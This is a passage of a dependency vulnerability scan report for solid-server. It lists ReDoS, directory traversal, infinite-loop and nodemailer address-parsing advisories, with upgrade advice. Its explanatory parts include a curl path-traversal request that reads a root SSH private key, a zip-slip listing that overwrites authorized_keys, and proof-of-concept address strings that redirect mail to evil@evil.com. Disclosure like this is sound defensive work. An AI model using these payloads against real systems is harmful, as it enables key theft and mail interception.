  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via analyzeRepeatedExtglob in lib/parse.js, which skips single-branch repeated extglob patterns such as +(*) or +(*a). An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for picomatch.

References

high severity

Directory Traversal

  • Vulnerable module: tmp
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28

Overview

Affected versions of this package are vulnerable to Directory Traversal via unsanitized input in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.

Note:

The fix for this issue was incomplete and led to a bypass, known as CVE-2026-49982. Users are recommended to upgrade to version 0.2.7 to get a complete fix for this issue.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tmp to version 0.2.6 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: tmp
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-package-json@1.4.11 › tmp@0.0.28

Overview

Affected versions of this package are vulnerable to Directory Traversal due to the improper sanitization of non-string values in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.

Note:

This issue is due to an incomplete fix for CVE-2026-44705. Added _assertPath as a guard does not account for non-string values.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tmp to version 0.2.7 or higher.

References

high severity

Infinite loop

  • Vulnerable module: uri-js
  • Introduced through: eslint@9.39.5

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › eslint@9.39.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: solid-server@solid/node-solid-server › eslint@9.39.5 › @eslint/eslintrc@3.3.7 › ajv@6.15.0 › uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Infinite loop via the removeDotSegments function, which loops infinitely when a path segment begins with Unicode line separators (U+2028) or paragraph separators (U+2029). An attacker can trigger this by passing such a path to removeDotSegments directly, or through the normalize or resolve functions with IRI handling enabled, blocking the Node.js event loop indefinitely until heap exhaustion.

Remediation

There is no fixed version for uri-js.

References

high severity

Interpretation Conflict

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@9.1.0.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Interpretation Conflict via RFC 5322 comment mis-parsing in lib/addressparser/index.js. An attacker can make mail be delivered to an attacker-controlled domain by supplying a recipient such as user@good-corp.com(x)evil.com, which the parser glues into good-corp.comevil.com instead of treating the comment as folding whitespace. Applications that approve recipients by parsing or matching the domain separately can be tricked into sending mail to a domain they never intended to allow, exposing messages to the attacker-controlled recipient.

Remediation

Upgrade nodemailer to version 9.1.0 or higher.

References

high severity

Interpretation Conflict

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@9.1.0.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Interpretation Conflict through _normalizeAddress in lib/mime-node/index.js. An attacker can cause mail to be delivered to an attacker-controlled domain by supplying a recipient address whose domain contains an IDN-mapped or ignored code point, such as an invisible soft hyphen, that a standards-compliant domain check resolves to a trusted domain but Nodemailer encodes to a different xn-- label. This can make an application approve or display one recipient domain while Nodemailer sends the message to another external domain, exposing the intended email content and breaking domain-based recipient controls.

Remediation

Upgrade nodemailer to version 9.1.0 or higher.

References

high severity
new

Interpretation Conflict

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.1.4.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Interpretation Conflict via the address parser in src/addressparser/index.ts when processing email header values containing nested comments. RFC 5322 §3.2.2 defines comments as nestable, but the tokenizer ends a comment at the first ) encountered, so the ) closing an inner comment prematurely closes the outer one and releases the remaining comment text, including any address it contains, into the parsed header. An attacker can construct a To header such as Victim (x(y) <evil@evil.com>) <v@victim.com> to redirect delivery to evil@evil.com instead of the intended v@victim.com, because the envelope RCPT TO is derived from the same malformed parse.

PoC

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("Victim (x(y) <evil@evil.com>) <v@victim.com>"));
// [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ]

Python's email._header_value_parser.get_address_list reads the same value as v@victim.com with the display name Victim, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "Victim (x(y) <evil@evil.com>) <v@victim.com>" }) issues the RCPT TO shown above.

Note: The PoC states no specific environment, runtime version, or operating system.

Remediation

Upgrade nodemailer to version 10.1.4 or higher.

References

high severity
new

Interpretation Conflict

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.1.4.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Interpretation Conflict via the address parser in src/addressparser/index.ts, where the tokenizer tracks only a single open operator and does not account for quoted strings, comments, or domain literals nested inside an angle-addr or group. An attacker who controls a recipient address can supply a value such as 'G: (a; <evil@evil.com>) <v@victim.com>;' to cause the parser to terminate the group at the ; inside the comment, resulting in evil@evil.com being added to the SMTP envelope as a recipient instead of, or in addition to, the intended address. Similarly, a quoted local part containing > prematurely closes an angle-addr, so <"a@evil.com>"@good.com> is resolved to evil.com rather than good.com.

PoC

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]

Python's email._header_value_parser.get_address_list reads the same value as the single mailbox v@victim.com, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" }) issues the RCPT TO shown above.

Note: The PoC uses the addressparser module bundled with nodemailer and states no specific version, OS, or non-default configuration.

Remediation

Upgrade nodemailer to version 10.1.4 or higher.

References

high severity
new

Interpretation Conflict

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.1.4.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Interpretation Conflict via the address parser (src/addressparser/index.ts) when processing angle-addr and group constructs. The tokenizer tracks only a single open operator and, once < or : is encountered, looks only for the closing > or ; without accounting for quoted strings, comments, or domain literals that may appear inside. A > character inside a quoted local part therefore terminates the angle-addr prematurely, so an input such as <"a@evil.com>"@good.com> is parsed as an address at evil.com rather than the RFC 5322-conformant mailbox "a@evil.com>"@good.com. Similarly, a ; inside a quoted display name or a comment prematurely closes a group, causing additional recipients to be injected into the envelope, so G: (a; <evil@evil.com>) <v@victim.com>; delivers only to evil@evil.com instead of v@victim.com.

PoC

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("<\"a@evil.com>\"@good.com>"));
// [ { address: '"a@evil.com', name: '@good.com>' } ]

Python's email._header_value_parser.get_address_list reads the same value as "a@evil.com>"@good.com, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "<\"a@evil.com>\"@good.com>" }) issues the RCPT TO shown above.

Note: The PoC states no specific environment, runtime version, or operating system.

Remediation

Upgrade nodemailer to version 10.1.4 or higher.

References

high severity

Origin Validation Error

  • Vulnerable module: http-cache-semantics
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmaccess@10.0.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmorg@8.0.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmsearch@9.0.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmteam@8.0.2 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › npm-profile@12.0.2 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmaccess@10.0.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmorg@8.0.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmsearch@9.0.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
